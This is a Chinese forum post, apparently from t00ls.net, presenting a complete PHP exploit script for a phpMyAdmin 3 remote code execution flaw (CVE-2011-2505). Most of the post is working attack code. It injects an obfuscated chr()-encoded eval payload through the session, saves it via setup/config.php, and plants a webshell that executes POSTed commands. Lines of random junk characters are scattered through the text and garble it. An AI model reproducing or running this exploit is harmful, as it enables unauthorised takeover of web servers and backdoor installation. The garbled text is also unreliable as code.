phpadmin3 remote code execute php版本exploit

admin

最近在家做专职奶爸，不谙圈内事很多months了，博客也无更新。
1 a% p& F$ M/ h& x
) h0 C1 J. F& a6 r: C0 n昨夜带孩子整夜未眠，看到黑哥在php security群里关于phpmyadmin3漏洞的讨论，虽然之前没看过漏洞代码，不过前段时间还是在微博上看到wofeiwo的exp了，不过据黑哥说有不鸡肋的利用方法，于是夜里翻代码出来研究了翻，写出了这个冷饭exp，由于我搞的晚了，之前已经很多人研究了写exp了，于是我这个属于炒冷饭，权当研究研究打发时间了。
) R4 ^  z! z+ D# A! O3 u
7 d* h+ Q8 U7 I$ q. t# L2 o9 R首先赞下wofeiwo的python版本的exp，再赞下wofeiwo跟superhei的钻研精神，学习的榜样啊。不过之前那个exp利用起来是有一些限制的：
5 m& x' E5 ~; [: X; ^一是session.auto_start = 1；
: x! I' |8 A2 A! t二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
+ D4 T# W0 b9 s5 s当然还有第三点大家都不可以逾越的鸿沟：config目录存在且可写。
$ a$ i" I8 L# }
在群里看了黑哥的发言后，再看了下代码，发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。
( F$ D( g# k: ~2 ~0 D9 `5 h) s
于是写了这个php版本的exp，代码如下：
' G4 Z. |* G# n8 }
#!/usr/bin/php
+ K# [$ W* j  j7 G4 A- \$ `' H<?php
4 ?" g9 Q% m( a- X. }/ m8 z8 [" Dprint_r('
4 C/ j" H% G4 p  Q6 u+---------------------------------------------------------------------------+
- P- l' ?0 }- G4 bpma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
by oldjun(www.oldjun.com)
welcome to www.t00ls.net
$ _9 [$ h. i2 s  pmail: oldjun@gmail.com
, O* X' R5 W7 E6 e% fAssigned CVE id: CVE-2011-2505
+---------------------------------------------------------------------------+
4 w5 n1 s3 f% |8 A! f( ~');

/**
* working when the directory:"config" exists and is writeable.
( F" U6 Q. C5 U# }; ?+ p' H( }**/

# S( n: \8 e+ z: M( S2 T, P* sif ($argc < 3) {
    print_r('
6 }) z. E( S# A% F( r! x! ]+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path
host:      target server (ip/hostname)
path:      path to pma3
! Z" m5 l, P/ ~: R4 r1 t9 I+ JExample:
php '.$argv[0].' localhost /pma/
' Z& U# I. K8 f4 R- N5 b5 d+---------------------------------------------------------------------------+
7 B9 I' n2 @, t& @');
  `+ w; J3 P) `4 _- b9 i    exit;
$ k5 a# g4 U0 N" W6 l! ~* r' y8 T, `& J' |5 N}
. ]- v# ?' H2 k- H
  R7 k- T* n2 l; s9 |& L/ T3 a$host = $argv[1];
, ]' v$ ?  |, h1 U5 h' G9 _$path = $argv[2];

/**
* Try to determine if the directory:"config" exists
**/
echo "[+] Try to determine if the directory:config exists....\n";
/ b4 s* @  u9 L1 Q$returnstr=php_request('config/');
* _4 n1 P5 m8 _; Kif(strpos($returnstr,'404')){
6 R1 a' z: ]+ k8 q" o    exit("[-] Exploit Failed! The directory:config do not exists!\n");
}
6 H5 t# }, V# o6 I% L0 E4 Y
/**
* Try to get token and sessionid
5 k( }) [) L0 K0 V: |**/
) X8 [6 U3 l$ hecho "[+] Try to get token and sessionid....\n";
$result=php_request('index.php');
preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
$token=$resp[3];
1 A/ A6 m, O: E! t- Z$sessionid=$resp[1];
if($token && $sessionid){
    echo "[+] tokentoken\n";
    echo "[+] Session IDsessionid\n";
}else{
& c$ ?8 ]% b, C& ]7 ~! u* z* Z. P    exit("[-] Can't get token and Session ID,Exploit Failed!\n");
}
* }7 f! O3 @+ h
/**
: f# R& E- _  H * Try to insert shell into session
**/
echo "[+] Try to insert shell into session....\n";
9 b6 d( F# \# P- iphp_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
* C4 @: h9 A& C8 |
/**
* Try to create webshell
**/
echo "[+] Try to create webshell....\n";
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
. Z1 C% H4 M/ {4 A/**
: S( j+ j7 I6 r+ G+ F, ] * Try to check if the webshell was created successfully
+ Q4 Z0 ]! N* Q  {5 p; y+ A3 X( Y1 S**/
echo "[+] Try to check if the webshell was created successfully....\n";
$content=php_request('config/config.inc.php');
' q6 G3 N3 R: W. yif(strpos($content,'t00ls')){
    echo "[+] Congratulations! Expoilt successfully....\n";
    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
" K" N0 f: a$ n  f1 ]}else{
    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
  G; X+ V1 D$ f3 Q* M}

function php_request($url,$data='',$cookie=''){
1 n3 Z9 w$ S+ {    global  $host, $path;
   
    $method=$data?'POST':'GET';
2 X, i+ _! H* Z& k   
) {7 H4 o, ~, I# j0 ^7 P5 U% U) a    $packet = $method." ".$path.$url." HTTP/1.1\r\n";
    $packet .= "Accept: */*\r\n";
    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
    $packet .= "Host: $host\r\n";
    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
- @# Q& o5 _1 p5 b$ o, _1 f* |# ]    $packet .= $cookie?"Cookie: $cookie\r\n":"";
    $packet .= "Connection: Close\r\n\r\n";
    $packet .= $data?$data:"";
8 d4 x; n  d  Q+ j$ e9 c6 j
. |! j4 F9 \6 e. M; R    $fp = fsockopen(gethostbyname($host), 80);
& i" a9 y+ b/ T1 x& w1 e  C, b; F    if (!$fp) {
    echo 'No response from '.$host; die;
    }
    fputs($fp, $packet);

6 l- ~. _8 Z, v* p# I    $resp = '';

    while ($fp && !feof($fp))
  N* i3 j/ [9 u% A3 ^0 U% J        $resp .= fread($fp, 1024);
8 `6 _3 F6 d9 B; b
3 I0 O+ @& [# M$ ?0 b- ]/ |, f/ z    return $resp;
}
, R0 Q" W9 x. u  [   
?>
.